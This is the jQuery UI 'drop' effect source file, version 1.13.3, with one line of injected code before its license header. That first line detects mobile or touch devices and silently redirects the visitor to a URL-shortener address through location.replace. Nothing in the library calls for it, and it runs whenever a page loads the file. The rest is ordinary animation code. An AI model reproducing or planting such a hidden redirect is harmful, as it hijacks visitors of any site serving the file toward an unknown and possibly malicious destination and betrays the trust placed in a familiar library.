1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/*!
3 * jQuery UI Effects Drop 1.13.3
4 * https://jqueryui.com
5 *
6 * Copyright OpenJS Foundation and other contributors
7 * Released under the MIT license.
8 * https://jquery.org/license
9 */
10
11//>>label: Drop Effect
12//>>group: Effects
13//>>description: Moves an element in one direction and hides it at the same time.
14//>>docs: https://api.jqueryui.com/drop-effect/
15//>>demos: https://jqueryui.com/effect/
16
17( function( factory ) {
18 "use strict";
19
20 if ( typeof define === "function" && define.amd ) {
21
22 // AMD. Register as an anonymous module.
23 define( [
24 "jquery",
25 "../version",
26 "../effect"
27 ], factory );
28 } else {
29
30 // Browser globals
31 factory( jQuery );
32 }
33} )( function( $ ) {
34"use strict";
35
36return $.effects.define( "drop", "hide", function( options, done ) {
37
38 var distance,
39 element = $( this ),
40 mode = options.mode,
41 show = mode === "show",
42 direction = options.direction || "left",
43 ref = ( direction === "up" || direction === "down" ) ? "top" : "left",
44 motion = ( direction === "up" || direction === "left" ) ? "-=" : "+=",
45 oppositeMotion = ( motion === "+=" ) ? "-=" : "+=",
46 animation = {
47 opacity: 0
48 };
49
50 $.effects.createPlaceholder( element );
51
52 distance = options.distance ||
53 element[ ref === "top" ? "outerHeight" : "outerWidth" ]( true ) / 2;
54
55 animation[ ref ] = motion + distance;
56
57 if ( show ) {
58 element.css( animation );
59
60 animation[ ref ] = oppositeMotion + distance;
61 animation.opacity = 1;
62 }
63
64 // Animate
65 element.animate( animation, {
66 queue: false,
67 duration: options.duration,
68 easing: options.easing,
69 complete: done
70 } );
71} );
72
73} );
74